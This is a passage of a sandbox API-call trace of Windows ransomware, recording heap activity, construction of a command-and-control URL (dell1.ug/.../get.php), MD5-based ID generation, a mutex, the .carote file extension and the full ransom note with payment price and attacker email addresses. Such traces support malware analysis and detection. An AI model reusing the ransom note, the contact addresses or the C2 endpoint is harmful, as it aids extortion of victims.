hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c6c08 | out: hHeap=0x4ff0000) returned 1 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a00388 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f40e8 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f4350 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f45b8 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f4820 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f4a88 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f4cf0 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f4f58 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f51c0 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f5428 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f5690 [0049.456] lstrlenA (lpString="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned 54 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x6e) returned 0x79adcb8 [0049.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f40e8, cbMultiByte=-1, lpWideCharStr=0x79adcb8, cchWideChar=55 | out: lpWideCharStr="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned 55 [0049.456] lstrcatW (in: lpString1="", lpString2="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.456] lstrlenA (lpString="") returned 0 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d900 [0049.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f4350, cbMultiByte=-1, lpWideCharStr=0x795d900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.456] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.456] lstrlenA (lpString="") returned 0 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d930 [0049.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f45b8, cbMultiByte=-1, lpWideCharStr=0x795d930, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.456] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.456] lstrlenA (lpString="") returned 0 [0049.456] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d920 [0049.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f4820, cbMultiByte=-1, lpWideCharStr=0x795d920, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d9a0 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f4a88, cbMultiByte=-1, lpWideCharStr=0x795d9a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d960 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f4cf0, cbMultiByte=-1, lpWideCharStr=0x795d960, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d950 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f4f58, cbMultiByte=-1, lpWideCharStr=0x795d950, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d970 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f51c0, cbMultiByte=-1, lpWideCharStr=0x795d970, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d980 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f5428, cbMultiByte=-1, lpWideCharStr=0x795d980, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenA (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2) returned 0x795d990 [0049.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79f5690, cbMultiByte=-1, lpWideCharStr=0x795d990, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0049.457] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0049.457] lstrlenW (lpString="") returned 0 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x12) returned 0x79b3c48 [0049.457] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x288) returned 0x79d3048 [0049.457] GetAdaptersInfo (in: AdapterInfo=0x79d3048, SizePointer=0x18bbec | out: AdapterInfo=0x79d3048, SizePointer=0x18bbec) returned 0x0 [0049.472] GetAdaptersInfo (in: AdapterInfo=0x79d3048, SizePointer=0x18bbec | out: AdapterInfo=0x79d3048, SizePointer=0x18bbec) returned 0x0 [0049.476] GetLastError () returned 0x0 [0049.476] GetLastError () returned 0x0 [0049.477] CryptAcquireContextW (in: phProv=0x18bbbc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18bbbc*=0x50cd258) returned 1 [0049.477] CryptCreateHash (in: hProv=0x50cd258, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18bbc4 | out: phHash=0x18bbc4) returned 1 [0049.477] CryptHashData (hHash=0x79e1798, pbData=0x79bd940, dwDataLen=0x11, dwFlags=0x0) returned 1 [0049.477] CryptGetHashParam (in: hHash=0x79e1798, dwParam=0x2, pbData=0x0, pdwDataLen=0x18bbc0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18bbc0) returned 1 [0049.477] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x11) returned 0x79b3d48 [0049.477] CryptGetHashParam (in: hHash=0x79e1798, dwParam=0x2, pbData=0x79b3d48, pdwDataLen=0x18bbc0, dwFlags=0x0 | out: pbData=0x79b3d48, pdwDataLen=0x18bbc0) returned 1 [0049.477] GetLastError () returned 0x0 [0049.477] CryptDestroyHash (hHash=0x79e1798) returned 1 [0049.478] CryptReleaseContext (hProv=0x50cd258, dwFlags=0x0) returned 1 [0049.478] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bd940 | out: hHeap=0x4ff0000) returned 1 [0049.478] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x50e29b8 [0049.478] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6d50 | out: hHeap=0x4ff0000) returned 1 [0049.478] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50d0a30 | out: hHeap=0x4ff0000) returned 1 [0049.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x840) returned 0x5cc [0049.670] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0xffffffff) returned 0x0 [0051.050] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x3bc [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a003e8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f58f8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f5b60 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f5dc8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f6030 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f6298 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f6500 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a10df8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11060 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a112c8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11530 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793afd8 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x428) returned 0x79d5048 [0051.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi", cchWideChar=-1, lpMultiByteStr=0x79d5048, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi", lpUsedDefaultChar=0x0) returned 41 [0051.050] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x430) returned 0x79cd758 [0051.050] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d5048 | out: hHeap=0x4ff0000) returned 1 [0051.050] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793afd8 | out: hHeap=0x4ff0000) returned 1 [0051.050] CryptAcquireContextW (in: phProv=0x18bc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18bc2c*=0x50cdd80) returned 1 [0051.051] CryptCreateHash (in: hProv=0x50cdd80, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18bc30 | out: phHash=0x18bc30) returned 1 [0051.051] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0051.051] CryptHashData (hHash=0x79e1818, pbData=0x79cd758, dwDataLen=0x28, dwFlags=0x0) returned 1 [0051.051] CryptGetHashParam (in: hHash=0x79e1818, dwParam=0x2, pbData=0x0, pdwDataLen=0x18bc34, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18bc34) returned 1 [0051.051] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x11) returned 0x79b3d08 [0051.051] CryptGetHashParam (in: hHash=0x79e1818, dwParam=0x2, pbData=0x79b3d08, pdwDataLen=0x18bc34, dwFlags=0x0 | out: pbData=0x79b3d08, pdwDataLen=0x18bc34) returned 1 [0051.051] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x34) returned 0x79e1858 [0051.051] GetLastError () returned 0x0 [0051.051] lstrcatA (in: lpString1="", lpString2="36" | out: lpString1="36") returned="36" [0051.051] GetLastError () returned 0x0 [0051.051] lstrcatA (in: lpString1="36", lpString2="F8" | out: lpString1="36F8") returned="36F8" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F8", lpString2="4F" | out: lpString1="36F84F") returned="36F84F" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F", lpString2="8D" | out: lpString1="36F84F8D") returned="36F84F8D" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D", lpString2="6D" | out: lpString1="36F84F8D6D") returned="36F84F8D6D" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D", lpString2="74" | out: lpString1="36F84F8D6D74") returned="36F84F8D6D74" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74", lpString2="C1" | out: lpString1="36F84F8D6D74C1") returned="36F84F8D6D74C1" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1", lpString2="EA" | out: lpString1="36F84F8D6D74C1EA") returned="36F84F8D6D74C1EA" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EA", lpString2="AF" | out: lpString1="36F84F8D6D74C1EAAF") returned="36F84F8D6D74C1EAAF" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAF", lpString2="F1" | out: lpString1="36F84F8D6D74C1EAAFF1") returned="36F84F8D6D74C1EAAFF1" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1", lpString2="D5" | out: lpString1="36F84F8D6D74C1EAAFF1D5") returned="36F84F8D6D74C1EAAFF1D5" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D5", lpString2="8E" | out: lpString1="36F84F8D6D74C1EAAFF1D58E") returned="36F84F8D6D74C1EAAFF1D58E" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58E", lpString2="A5" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA5") returned="36F84F8D6D74C1EAAFF1D58EA5" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA5", lpString2="1A" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51A") returned="36F84F8D6D74C1EAAFF1D58EA51A" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA51A", lpString2="BF" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABF") returned="36F84F8D6D74C1EAAFF1D58EA51ABF" [0051.052] GetLastError () returned 0x0 [0051.052] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABF", lpString2="D9" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned="36F84F8D6D74C1EAAFF1D58EA51ABFD9" [0051.053] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79b3d08 | out: hHeap=0x4ff0000) returned 1 [0051.053] CryptDestroyHash (hHash=0x79e1818) returned 1 [0051.053] CryptReleaseContext (hProv=0x50cdd80, dwFlags=0x0) returned 1 [0051.053] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0051.053] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793afd8 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a00418 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11798 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11a00 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11c68 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a11ed0 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12138 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a123a0 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12608 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12870 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12ad8 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12d40 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x816) returned 0x79cd758 [0051.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bc38, cbMultiByte=-1, lpWideCharStr=0x79cd758, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a0d0f0 [0051.053] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a00448 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a12fa8 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a13210 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a13478 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a136e0 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a13948 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a13bb0 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a13e18 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a14080 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a142e8 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a14550 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xa0) returned 0x7a00980 [0051.053] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x130) returned 0x79d6f08 [0051.053] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a00980 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1d0) returned 0x79c00a8 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d6f08 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2b7) returned 0x7a0d918 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c00a8 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x412) returned 0x79d5048 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d918 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x61a) returned 0x79cd758 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d5048 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x440) returned 0x7a0d918 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x106a) returned 0x79cb6e0 [0051.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a0d918, cbMultiByte=-1, lpWideCharStr=0x79cb6e0, cchWideChar=2101 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned 1078 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1070) returned 0x7a14de0 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cb6e0 | out: hHeap=0x4ff0000) returned 1 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d918 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a00478 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a147b8 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a14a20 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a15e70 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a160d8 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a16340 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a165a8 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a16810 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a16a78 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a16ce0 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a16f48 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x80e) returned 0x79cb6e0 [0051.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bc38, cbMultiByte=-1, lpWideCharStr=0x79cb6e0, cchWideChar=1031 | out: lpWideCharStr=".carote") returned 8 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x79cbef8 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cb6e0 | out: hHeap=0x4ff0000) returned 1 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x79bd990 [0051.054] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6b90 [0051.054] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79b3cc8 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 0x79bc398 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x48) returned 0x79e06d8 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6b90 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793b040 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793b0a8 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79e06d8 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb508 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x90) returned 0x797a8e0 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b0a8 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 0x79bc340 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 0x79bc3f0 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xd8) returned 0x7945fe0 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x797a8e0 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb598 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x79bd9e0 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 0x79bc448 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x138) returned 0x79d6f08 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7945fe0 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793b0a8 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb5e0 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 